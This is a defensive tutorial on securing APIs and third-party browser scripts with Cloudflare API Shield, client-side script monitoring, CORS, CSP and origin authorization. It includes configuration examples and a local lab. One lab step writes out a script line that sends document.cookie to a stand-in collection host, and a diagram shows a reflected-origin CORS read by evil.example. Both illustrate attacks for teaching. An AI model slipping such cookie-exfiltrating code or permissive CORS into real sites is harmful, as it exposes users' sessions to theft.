Back to Cloudflare

Protect APIs and Third-Party Browser Code

November 4, 2026 Updated November 6, 2026 Wasil Zafar 28 min read

Connect API validation, identity, script monitoring, and CSP

Table of Contents

  1. Inventory API Endpoints and Their Contracts
  2. API Shield, mTLS, and Token Validation Boundaries
  3. Client-Side Security Monitors Browser Dependencies
  4. CORS, CSP, and Application-Level Authorization
  5. Threat-Model an API and Its Third-Party Scripts
  6. Trace an Invalid API Request and an Unexpected Script

Inventory API Endpoints and Their Contracts

At 03:00 a support engineer finds POST /api/v1/orders/ord_0123456789abcdef/refund in the firewall log. The mobile app has no refund button. The docs have no refund route. Either a route shipped undocumented or an attacker found one, and nobody can tell, because nobody can list the endpoints the service exposes.

That gap is why API security starts with inventory rather than rules. Five terms make the rest of this article readable:

  • An operation is one endpoint identity: HTTP method, hostname pattern, and path pattern. GET api.example.com/v1/orders/{orderId} is an operation. Cloudflare uses this term in Web Assets.
  • A contract is the set of requests an operation promises to accept: path parameter format, query parameters, headers, and body shape. It is usually written as an OpenAPI document.
  • Discovery infers the operation list from observed traffic. It is inference, not truth.
  • Schema validation compares each request against a stored contract and raises a detection when the request does not fit.
  • A positive security model allows only what is described and treats everything else as suspect. A signature ruleset is the opposite: it enumerates known-bad patterns and passes the remainder.

The analogy is a hotel entrance. A negative model is a bouncer holding photos of known troublemakers. A positive model is a guest list: no name, no entry, however ordinary the person looks. Guest lists catch attackers nobody has photographed, and they also stop the guest whose invitation was misfiled — which is the operational cost you are accepting.

The mental model has three questions that must not be collapsed. Discovery answers what exists. Schema validation answers is this request shaped like something we agreed to. Neither answers is this caller allowed to do this to this object. Figure 1 keeps the three apart and shows where each answer is produced.

Inventory API Endpoints and Their Contracts
%%{init: {'theme':'base','themeCSS':'.edgeLabel .label text, .edgeLabel text, .edgeLabel span { fill:#132440 !important; color:#132440 !important; }','themeVariables': {'primaryColor':'#16476A','primaryTextColor':'#ffffff','primaryBorderColor':'#132440','secondaryColor':'#3B9797','secondaryTextColor':'#ffffff','secondaryBorderColor':'#132440','tertiaryColor':'#c4873b','tertiaryTextColor':'#132440','tertiaryBorderColor':'#132440','lineColor':'#5a6e82','textColor':'#132440','titleColor':'#132440','mainBkg':'#16476A','nodeBorder':'#132440','clusterBkg':'#eef3f7','clusterBorder':'#132440','edgeLabelBackground':'#ffffff','actorBkg':'#16476A','actorTextColor':'#ffffff','actorBorder':'#132440','activationBkgColor':'#3B9797','activationBorderColor':'#132440','signalColor':'#5a6e82','signalTextColor':'#132440','noteBkgColor':'#c4873b','noteTextColor':'#132440','noteBorderColor':'#132440','labelBoxBkgColor':'#a8dede','labelBoxBorderColor':'#132440','labelTextColor':'#132440','loopTextColor':'#132440','altBackground':'#f8f9fa','fontFamily':'DM Sans, sans-serif'}}}%%
flowchart TD
    T["Sampled proxied traffic
2xx from the edge"] --> N["Heuristic path normalization"] N --> C["Candidate operation
matched at the edge"] N --> S["Shadow operation
not matched"] C --> SV["Save to inventory"] S --> SV SV --> F["Full operation
method + host + path"] F --> Q{"Contract source"} Q -->|"uploaded OpenAPI 3.0"| V["Schema Validation
always-on detection"] Q -->|"learned from traffic"| L["Schema Learning
1000 / 10000 request thresholds"] V --> D["cf.schema_validation.uploaded.violated"] L --> D2["Learned-profile detection"] D --> W["WAF custom rule
log or block"] D2 --> W W --> O["Origin still owns
authorization"] classDef primary fill:#132440,color:#ffffff,stroke:#0b172b; classDef secondary fill:#16476A,color:#ffffff,stroke:#0f314a; classDef ok fill:#3B9797,color:#ffffff,stroke:#2a6f6f; classDef danger fill:#BF092F,color:#ffffff,stroke:#7a0420; classDef warn fill:#c4873b,color:#132440,stroke:#8a5a1f; class T,C,O primary; class N,S,SV,F,Q,L,D2 secondary; class V,D ok; class W danger;

Figure 2 shows the same flow as layers. The OpenAPI file is authored by your team and lives in your repository; Cloudflare stores and evaluates it at the edge; the origin still owns the data and the authorization decision. Discovery produces candidates, so the inventory is a hypothesis a human promotes to a saved operation.

Where the contract lives and where it is evaluated The repository owns the OpenAPI contract. The Cloudflare edge stores a copy, evaluates it against request bodies, and emits a violation signal. The origin owns data and permissions, and remains the only layer that can decide object ownership. Source of truth Git repository openapi.yaml 3.0.3 Reviews and CI contract changes Humans decide what the contract says. Cloudflare edge Stored schema copy up to plan size limit Per-request comparison path, query, body Detection only rule decides the action Origin Business logic and data access Subject to object authorization Edge cannot know who owns this order. upload forward decision

Discovery is inference, not inventory

Discovery reads sampled proxied traffic that returned 2xx from the edge and did not originate in a Worker. Normalization is heuristic: /profile/238 and /profile/392 both collapse to /profile/{var1}, and a path like /v1/tenants/acme/orders/9 can lose the tenant boundary. An endpoint needs 500 requests across a continuous 10-day window to appear, so low-volume admin routes — often the most sensitive — are exactly what it misses. Manual operations are the remedy.

Availability is not uniform. The Discovery page states the feature requires the paid API Shield add-on, sold to Enterprise accounts, while the plans page publishes saved-endpoint and uploaded-schema limits keyed to zone plan — 100 on Free rising to 10,000 with API Shield on Enterprise — and marks Free, Pro, and Business rule actions as Block only. Those rows are limits, not entitlement. Check the zone's subscription before designing around any row.

Schema validation accepts OpenAPI 3.0.x in YAML or JSON; 2.0 is rejected, and 3.1 uploads succeed only with 3.0-compatible semantics. Responses, external $refs, non-basic path templating, and uniqueItems are not evaluated, so a document that lints cleanly can still validate less than you assume. Bodies are inspected up to a plan ceiling — 1 KiB on Free, 8 KiB on Pro and Business, 128 KiB on Enterprise — and an oversized body produces a body-size violation, not a pass. That ceiling is independent of the WAF's inspection limit.

Detection is not a block

An uploaded schema produces cf.schema_validation.uploaded.violated, not a block. Nothing happens until a WAF custom rule or profile enforcement acts on that field. A team that uploads a contract, waits a week, and sees no blocks has built an audit log.

API Shield, mTLS, and Token Validation Boundaries

Consider three requests that all reach POST /v1/orders/ord_0123456789abcdef/refund:

  • Request A presents a valid client certificate from the corporate CA, with {"amount": "12.50", "reason": "customer request"}.
  • Request B presents no certificate, a valid JWT, and a well-formed body.
  • Request C presents a valid certificate, a valid JWT whose sub is alice, and a well-formed body for an order that belongs to bob.

A fails schema validation. B fails the certificate check. C passes every edge check and must be stopped by the origin, because only the origin knows who owns this order. Three controls, three different questions, no overlap.

ControlQuestion it answersEvidence it checksAvailability (docs read 2026-11-05)Characteristic boundary failure
mTLS ruleIs this client holding a certificate we trust?X.509 chain, cert_verified, optionally issuer SKI and cert_revokedAll plans with a Cloudflare-managed CA; Enterprise may upload up to five external CAsRule scoped only by path, or no SKI check, so any CA-issued certificate is accepted
JWT validationWas this token issued by our identity provider and left unmodified?Signature against supplied JWKs, exp and nbf with 60-second skewAll API Shield customers; 32 configurations per zone, 16 keys eachConfiguration validates but no rule enforces, or OPTIONS preflight gets blocked
Schema validationIs the request shaped like our contract?OpenAPI path, query, header, and body structureUploaded schemas within plan limits; API Shield workflowContent types outside the schema, oversized bodies, or */* media ranges pass unvalidated
WAF custom ruleGiven these signals, what should we do?Any ruleset field, including cf.api_gateway.* and cf.schema_validation.*Zone plan dependent; log actions vary by planExpression matches nothing, or action remains Log after rollout
Origin authorizationMay this subject act on this object?Application session, role, and ownership recordsAlways, and only hereNo object-ownership check, so a valid token reads another user's record

The composition has an order. Certificate verification happens during the TLS handshake, before any HTTP parsing. Token validation runs per request against a small key set. Schema validation may parse a body, so it is the most expensive gate and the one with a byte ceiling. Put identity first: rejecting an anonymous request is cheaper than parsing its body.

A verified chain is not the CA you meant

A verified certificate answers "signed by some CA in the trust store," not "signed by the CA I meant." Pin the issuer Subject Key Identifier as well. Revocation is checked only for Cloudflare-managed CAs, and the origin certificate must match the API hostname exactly; wildcard origin certificates are not supported for mTLS rules.

not (cf.tls_client_auth.cert_verified and cf.tls_client_auth.cert_issuer_ski eq "A5AC554235DBA6D963B9CDE0185CFAD6E3F55E9F")

Figure 3 also shows why "we have mTLS" is not an authorization story: the certificate identifies a device, and a compromised device holds a valid certificate. It puts the three controls in evaluation order, with a failure branch at each gate.

API Shield, mTLS, and Token Validation Boundaries
%%{init: {'theme':'base','themeCSS':'.edgeLabel .label text, .edgeLabel text, .edgeLabel span { fill:#132440 !important; color:#132440 !important; }','themeVariables': {'primaryColor':'#16476A','primaryTextColor':'#ffffff','primaryBorderColor':'#132440','secondaryColor':'#3B9797','secondaryTextColor':'#ffffff','secondaryBorderColor':'#132440','tertiaryColor':'#c4873b','tertiaryTextColor':'#132440','tertiaryBorderColor':'#132440','lineColor':'#5a6e82','textColor':'#132440','mainBkg':'#16476A','nodeBorder':'#132440','clusterBkg':'#eef3f7','clusterBorder':'#132440','edgeLabelBackground':'#ffffff','actorBkg':'#16476A','actorTextColor':'#ffffff','actorBorder':'#132440','activationBkgColor':'#3B9797','activationBorderColor':'#132440','signalColor':'#5a6e82','signalTextColor':'#132440','noteBkgColor':'#c4873b','noteTextColor':'#132440','noteBorderColor':'#132440','labelBoxBkgColor':'#a8dede','labelBoxBorderColor':'#132440','labelTextColor':'#132440','loopTextColor':'#132440','altBackground':'#f8f9fa','fontFamily':'DM Sans, sans-serif'}}}%%
sequenceDiagram
    autonumber
    participant C as API client
    participant E as Cloudflare edge
    participant O as Origin
    C->>E: POST /v1/orders/ord_0123456789abcdef/refund with cert, token, body
    E->>E: mTLS rule: verified chain plus issuer SKI
    alt certificate missing, revoked, or wrong issuer
        E-->>C: 403 blocked before HTTP parsing
    else certificate accepted
        E->>E: JWT configuration: kid, signature, exp, nbf
        alt no matching kid, bad signature, or expired
            E-->>C: 403 token invalid
        else token valid
            E->>E: Schema validation against uploaded OpenAPI
            alt body or parameter violates contract
                E-->>C: 403 schema violation
            else contract satisfied
                E->>O: forward request with verified claims
                O->>O: authorize subject against object owner
                alt subject is not the owner
                    O-->>C: 404 not found
                else authorized
                    O-->>C: 200 order
                end
            end
        end
    end

Two artifacts, two jobs. The YAML panel is the contract: an OpenAPI 3.0.3 document with a read operation and a refund operation, both constraining the order identifier to an ord_ value and the refund amount to an integer. The JSON panel is the credential configuration: the Cloudflare API body that creates a token validation configuration with one ES256 key.

openapi: 3.0.3
info:
  title: Orders API
  version: "1.0.0"
servers:
  - url: https://api.example.com
paths:
  /v1/orders/{orderId}:
    get:
      operationId: getOrder
      security:
        - bearerAuth: []
      parameters:
        - name: orderId
          in: path
          required: true
          schema:
            type: string
            pattern: '^ord_[0-9a-f]{16}$'
      responses:
        "200":
          description: Order owned by the calling subject
          content:
            application/json:
              schema:
                $ref: '#/components/schemas/Order'
        "404":
          description: Not found, or not owned by the calling subject
  /v1/orders/{orderId}/refund:
    post:
      operationId: refundOrder
      security:
        - bearerAuth: []
      parameters:
        - name: orderId
          in: path
          required: true
          schema:
            type: string
            pattern: '^ord_[0-9a-f]{16}$'
      requestBody:
        required: true
        content:
          application/json:
            schema:
              type: object
              required:
                - amount
              properties:
                amount:
                  type: integer
                  format: int64
                  minimum: 1
                reason:
                  type: string
                  maxLength: 200
      responses:
        "202":
          description: Refund accepted for processing
components:
  securitySchemes:
    bearerAuth:
      type: http
      scheme: bearer
      bearerFormat: JWT
  schemas:
    Order:
      type: object
      required:
        - id
        - status
        - total
      properties:
        id:
          type: string
        status:
          type: string
          enum:
            - pending
            - paid
            - shipped
        total:
          type: integer
          format: int64
{
  "title": "orders-api-es256",
  "description": "Validates the bearer JWT issued by our identity provider for api.example.com.",
  "token_type": "jwt",
  "token_sources": [
    "http.request.headers[\"authorization\"][0]"
  ],
  "credentials": {
    "keys": [
      {
        "kty": "EC",
        "use": "sig",
        "crv": "P-256",
        "kid": "2026-11-orders-1",
        "x": "QG3VFVwUX4IatQvBy7sqBvvmticCZ-eX5-nbtGKBOfI",
        "y": "A3PXCshn7XcG7Ivvd2K_DerW4LHAlIVKdqhrUnczTD0",
        "alg": "ES256"
      }
    ]
  }
}

Enforcement is a separate object. The credential body above is inert until it is uploaded and a WAF custom rule acts on the result. The rule body, the Terraform resource that owns it, and the CLI calls that create both are three views of the same deployment.

{
  "description": "Block requests that fail JWT validation",
  "expression": "not any(cf.api_gateway.tokens.valid[*] == \"<TOKEN_CONFIGURATION_ID>\")",
  "action": "block",
  "enabled": true
}
resource "cloudflare_ruleset" "api_shield_jwt" {
  zone_id = var.zone_id
  name    = "API Shield JWT enforcement"
  phase   = "http_request_firewall_custom"
  kind    = "zone"

  rules = [
    {
      description = "Block requests that fail JWT validation"
      expression  = "not any(cf.api_gateway.tokens.valid[*] == \"<TOKEN_CONFIGURATION_ID>\")"
      action      = "block"
      enabled     = true
      ref         = "api_shield_jwt"
    },
  ]
}
# Store the token configuration
curl -X POST "https://api.cloudflare.com/client/v4/zones/$ZONE_ID/token_validation/config" \
  -H "Authorization: Bearer $CLOUDFLARE_API_TOKEN" \
  -H "Content-Type: application/json" \
  --data @token-validation.json

# Enforce the result with a WAF custom rule
curl -X POST "https://api.cloudflare.com/client/v4/zones/$ZONE_ID/rulesets/$RULESET_ID/rules" \
  -H "Authorization: Bearer $CLOUDFLARE_API_TOKEN" \
  -H "Content-Type: application/json" \
  --data @jwt-rule.json

Client-Side Security Monitors Browser Dependencies

A checkout page loads its tag manager, which loads an analytics bundle, which loads a payment widget's script from a fourth domain. Nobody on the team wrote any of those four. At 02:10 an alert says the widget's script changed. The URL is identical, the file size differs by 300 bytes, and the new code calls fetch against a host in no allowlist.

Client-side security is an observation system. Renamed from Page Shield, with the add-on now called Client-Side Security Advanced, it adds a report-only content security policy header to a sample of HTML responses. The policy is deliberately permissive — inline and eval scripts allowed, connections set to none — because its job is to make the browser report every script and connection it sees, not to constrain it. Browsers post violation reports to Cloudflare, which assembles an inventory of scripts, the endpoints they contact, and cookies seen in traffic.

Three properties matter operationally. Monitoring is sampled, so a page viewed twice a day may take a long time to appear, and the header cannot be disabled while monitoring is on. Reports come from real browsers, so ad blockers bias the sample downward. And the inventory records what ran, which is not what was allowed: a script that executed and exfiltrated data still appears as an active resource.

Change detection is stricter than URL matching. Cloudflare parses each script into an abstract syntax tree and hashes its structure, so a semantic change trips the alert even when URL, headers, and length look ordinary. The cost is false positives: a vendor rebuilding a minified bundle can change the tree without changing behavior.

Entitlements split sharply. Script monitoring is on every plan including Free. Connection and cookie monitoring, page attribution, and new-resource or new-domain alerts start at Business. Malicious script detection, code change detection, and content security rules require Client-Side Security Advanced, which carries five content security rules and four Logpush jobs.

The payment-page angle is a compliance question, not only a security one. PCI DSS v4.0 requirement 6.4.3 asks for an inventory of every script on payment pages, with authorization and integrity assurance; requirement 11.6.1 asks you to detect and alert on unauthorized changes to payment page content and HTTP security headers. Cloudflare maps both to client-side security. Be precise about the seam: the product supplies inventory and change alerts, while "authorization" is a process control — a recorded approval per script, reviewed when it changes. An auditor will ask for the approval record, and a dashboard cannot produce one.

CORS, CSP, and Application-Level Authorization

Three controls get conflated because all three mention origins and all three live near the browser. They answer different questions and belong in different places.

ControlQuestion it answersEnforced byFailure when misplaced
CORSMay this browser read the response?The browser, after an OPTIONS preflight and an Access-Control-Allow-Origin checkA wildcard with credentials, or a reflected origin, authorizes every site that asks
CSPWhat may this document load, call, and be framed by?The browser, per responseDuplicate policies intersect and silently block a legitimate script
Application authorizationMay this subject act on this object?The origin, using ownership recordsEvery edge check passes and another user's record is returned

A reflected origin is worse than a wildcard

Pairing Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true is invalid, so browsers reject it. Reflecting the caller's origin while allowing credentials is worse than a wildcard, because it authorizes every site that asks. And CORS is a browser policy, not a server-side gate: command-line clients, mobile apps, and servers ignore it.

CSP can only restrict. It protects the visitor's session, not your API. When several policies apply to one response, browsers intersect them, so adding a policy never loosens an existing one. An edge rule and an application policy can silently break each other even when neither looks wrong alone.

Authorization cannot move to the edge. Application-level authorization is the server deciding whether this subject may perform this action on this object. Only the origin holds the ownership records, so it is the only control that can answer Request C from the previous section. CORS needs the allowed methods and headers for each route; CSP needs a per-response nonce matching the HTML the app rendered. A route-aware Worker can supply either; a single static edge header cannot.

Figure 4 shows the before and after as failure paths. On the left, a permissive CORS policy plus a valid token lets any origin read an authenticated response that the origin never scoped to the caller. On the right, the CORS allowlist narrows which browsers may read, the edge rejects absent or invalid tokens, and the origin checks ownership before serializing the record.

Where the missing check actually lives Before: a wildcard CORS policy and a valid token let any origin read another user's order because the origin never checks ownership. After: an origin allowlist limits browser reads, the edge rejects invalid tokens, and the origin authorizes the subject against the object. Before: every gate passes, the wrong record leaves Any origin evil.example CORS: reflect Origin credentials: true Edge: token valid schema valid Origin: no ownership check Response: 200 with bob's order, readable by evil.example After: each control answers its own question app.example only CSP frame-ancestors CORS allowlist exact origin, methods Edge: mTLS or JWT, then schema Origin: subject owns object Response: 200 only when the caller owns the record, otherwise 404

Header placement follows the enforcement point. Set transport and framing policy at the edge, and document policy where the HTML is rendered.

SettingSet atPurposeCaution
HSTS and minimum TLS versionEdgeTransport policy—
X-Content-Type-Options: nosniffEdgeStops MIME sniffing—
Referrer-PolicyEdgeLimits referrer leakage—
frame-ancestorsEdge or appControls which documents may frame the pageSAMEORIGIN breaks an embedded checkout
"Add security headers" managed transformEdgeBundles x-content-type-options, x-xss-protection, x-frame-options: SAMEORIGIN, referrer-policy: same-origin, and expect-ctx-xss-protection is legacy, ignored by modern browsers, and not protection; SAMEORIGIN breaks legitimate framing

Two failure behaviors are worth memorizing. If a content security rule and a response header transform both add a CSP header, responses carry duplicates; Cloudflare's guidance is to use the Set static or Set dynamic operation so the transform replaces the value instead of appending. And because preflights carry no credentials by definition, a JWT rule on a browser-facing API must account for OPTIONS, or the preflight is blocked before the real request is attempted.

Threat-Model an API and Its Third-Party Scripts

Guided exercise

Threat-Model an API and Its Third-Party Scripts

Status: design-only. Not executed for this article. No Cloudflare zone, paid plan, or payment page was touched. Every "expected" statement below is a prediction from documentation, not a measurement.

Prerequisites. Node.js 20 or later with npm, a text editor, and a scratch directory. Part B needs an Enterprise zone with API Shield and a hostname you may expose; otherwise complete it as a paper exercise. Never use real card data or a live customer script.

Minimal setup. Create four files:

  1. openapi.yaml — the document from the code widget, with servers pointing at http://localhost:8080.
  2. orders.json — {"ord_0123456789abcdef": {"id": "ord_0123456789abcdef", "owner": "alice", "status": "paid", "total": 4200}}.
  3. server.mjs — a Node HTTP server exposing GET /v1/orders/{orderId}, returning the record only when x-subject equals owner and 404 otherwise, initially with Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true.
  4. page.html — a page fetching the order with credentials: "include", plus <script src="http://127.0.0.1:8081/vendor.js"> served by a second local server.

Actions.

  1. Run npm init -y && npm i ajv-cli, extract the Order component to order.schema.json, write body.json as {"id":"ord_0123456789abcdef","status":"paid","total":4200}, then run npx ajv-cli validate -s order.schema.json -d body.json. Expected: exit code 0.
  2. Change total to "4200". Expected: a type error, because int64 is numeric. This half runs entirely offline.
  3. Request the order as x-subject: bob. Expected: 404 from your handler, not 200 — the ownership check, not the edge, produces it.
  4. Fetch the page from a second local origin such as http://localhost:9090. Expected: the browser blocks reading the response because * with credentials is invalid, and the console message names CORS, not authentication.
  5. Reflect the request origin and allow credentials. Expected: the cross-origin read now succeeds as bob, showing CORS limited nothing once opened.
  6. Add X-Content-Type-Options: nosniff and a CSP with script-src 'self'. Expected: vendor.js from port 8081 is blocked and a violation appears in the console.
  7. Replace the vendor script with one calling fetch("http://127.0.0.1:8081/collect?d=" + document.cookie). Expected: nothing visible in the page; the request appears only in the second server's log. That is the blind spot monitoring exists to close.
  8. Part B, paper or hosted: upload the schema, enable validation, send an orderId lacking the ord_ prefix, and confirm cf.schema_validation.uploaded.violated becomes true. Then add a WAF rule that blocks on it. Expected: detection first, block only after the rule deploys.

Expected and failure signals.

SignalWhat it proves
Validator exits 0The body matches the Order schema.
Type error on "4200"int64 is numeric, so a string total is invalid.
Unknown property acceptedadditionalProperties is unset, so the schema allows it.
404 for x-subject: bobThe origin's ownership check ran even though every edge-shaped check passed.
200 for x-subject: bobThe ownership check is missing.
CORS error persists after reflecting the originThe preflight is failing on Access-Control-Allow-Methods or Allow-Headers.
Schema upload never flags the bad orderIdThe parameter pattern is absent, or the operation was never saved.
CSP blocks vendor.jsCSP blocks by origin, not content, so a compromised first-party script still runs.

Cost dimensions. Steps 1–7 are USD 0 and local. Part B requires Enterprise API Shield, for which Cloudflare publishes no list price; treat any figure as an account-team quote. A domain costs roughly USD 10–15 per year and does not buy the entitlement.

Cleanup. Stop both servers, delete the scratch directory, remove any rule or schema created in Part B, and delete the test hostname. If a real vendor script was copied into the fixture, do not commit it.

The exercise is deliberately split: the parts that teach the mechanism run offline, and the parts that depend on an Enterprise entitlement are labeled as paper exercises when you cannot run them. Do not describe the second group as validated.

Trace an Invalid API Request and an Unexpected Script

Two traces, one from each half of the article. Both are design-only: no request reached a Cloudflare zone, and no browsing session was monitored. Documentation was read on 2026-11-05; the planning baseline is 2026-11-02. No CLI, provider, or browser version applies.

Trace 1 — malformed refund. A client holding a valid device certificate sends POST /api.example.com/v1/orders/ord_0123456789abcdef/refund with {"amount": "12.50", "reason": "customer request"}.

  • The mTLS rule passes: the chain verifies and the issuer SKI matches.
  • Token validation passes: the JWT has a known kid, a valid ES256 signature, and an exp two minutes in the future.
  • Schema validation flags amount: the contract declares it as an integer, and "12.50" is a string. cf.schema_validation.uploaded.violated becomes true.
  • A WAF custom rule with a Block action rejects the request. Without that rule, the request reaches the origin with a detection recorded and nothing else.

Pass evidence: the same request with an integer amount, {"amount": 1250, "reason": "customer request"}, clears the schema gate; the violation field stays false; the origin receives the request. Fail evidence: a 200 for the string amount means no rule acted on the detection. A 403 for the integer version means the contract is wrong, not the client — likely an amount schema that was narrowed without a version bump.

Trace 2 — unexpected script. At 02:10 a code change alert fires for https://cdn.payments-vendor.example/v3/checkout.js. The URL is unchanged and the response headers are unchanged. The AST hash differs from the stored baseline.

  • Triage compares the two versions. The new one adds a fetch to https://collect.payments-cdn.example, a domain that resembles the vendor's but does not appear in any previous report.
  • The page attribution view shows the script first appeared on /checkout/payment, not site-wide.
  • A content security rule with the Allow action, scoped to that path, blocks the unlisted host once deployed. Until then, report-only logging records the connection without stopping it.
  • Rotation: any credential readable from that page — session cookies without HttpOnly, publishable keys, tokens in localStorage — is treated as exposed. Blocking the script does not un-steal what it already sent.

Pass evidence: the alert names a specific script and page rather than a generic "something changed," and the diff shows a new network destination. Fail evidence: an alert that fires on every vendor release teaches the team to ignore it; a script that appears in the inventory but never triggers a change alert usually means monitoring is still sampling a low-traffic path.

Self-check.

Does schema validation authenticate the caller? No. It checks request shape against a document. A perfectly shaped request from an unauthorized caller passes. Authentication comes from mTLS, a token, or the origin session.

A certificate verifies successfully. Is the client trusted? Only as far as "some CA in the trust store signed it." Without an issuer SKI pin, any certificate from any trusted CA is accepted, and revocation is checked only for Cloudflare-managed CAs.

The JWT is valid and its subject is alice, but the order belongs to bob. Which control stops it? The origin, and only the origin, because ownership is application data. Edge controls can constrain shape and identity; they cannot enforce object-level access without your records.

Monitoring is on and the inventory looks complete. Are scripts controlled? No. The monitoring header is report-only. Control requires a content security rule with the Allow action, which is an Advanced entitlement, and even then it controls loading, not the behavior of a script you chose to allow.

Unresolved limitations. No hosted validation was performed, so detection latency, false-positive rates, sampling gaps, and block behavior are unmeasured. The plan boundary is genuinely ambiguous: Discovery is documented as an Enterprise add-on while the plans table publishes per-plan endpoint and schema allowances, and the schema feature set is migrating toward Application Profiles. Pricing for API Shield and Client-Side Security Advanced is not published. Schema coverage is narrower than OpenAPI suggests — responses, external references, uniqueItems, and several parameter constructs are not evaluated. Monitoring cannot see scripts that never execute or pages that never receive a sampled response, and content security rules do not exist below the Advanced tier. mTLS revocation checking does not extend to uploaded CAs.

References (read 2026-11-05):

  • API Shield overview: https://developers.cloudflare.com/api-shield/
  • API Shield plans and limits: https://developers.cloudflare.com/api-shield/plans/
  • Get started with API Shield: https://developers.cloudflare.com/api-shield/get-started/
  • API Discovery: https://developers.cloudflare.com/api-shield/security/api-discovery/
  • Schema validation: https://developers.cloudflare.com/api-shield/security/schema-validation/
  • Endpoint management: https://developers.cloudflare.com/api-shield/management-and-monitoring/endpoint-management/
  • JWT validation: https://developers.cloudflare.com/api-shield/security/jwt-validation/
  • JWT validation via the API: https://developers.cloudflare.com/api-shield/security/jwt-validation/api/
  • JWT validation limits changelog: https://developers.cloudflare.com/changelog/post/2026-08-27-jwt-validation-limits/
  • mTLS overview: https://developers.cloudflare.com/api-shield/security/mtls/
  • Configure mTLS and issuer SKI checks: https://developers.cloudflare.com/api-shield/security/mtls/configure/
  • Authentication Posture: https://developers.cloudflare.com/api-shield/security/authentication-posture/
  • API Shield Terraform reference: https://developers.cloudflare.com/api-shield/reference/terraform/
  • Client-side security: https://developers.cloudflare.com/client-side-security/
  • How client-side security works: https://developers.cloudflare.com/client-side-security/how-it-works/
  • Content security rules: https://developers.cloudflare.com/client-side-security/rules/
  • Client-side security troubleshooting: https://developers.cloudflare.com/client-side-security/troubleshooting/
  • PCI DSS compliance on Cloudflare: https://developers.cloudflare.com/ssl/reference/compliance-and-vulnerabilities/
  • Managed Transforms reference: https://developers.cloudflare.com/rules/transform/managed-transforms/reference/
  • Response Header Transform Rules: https://developers.cloudflare.com/rules/transform/response-header-modification/

Next in the Series

In Prepare for DDoS Incidents Across Network and HTTP Layers, we'll explore Distinguish attack mitigation, capacity protection, and response.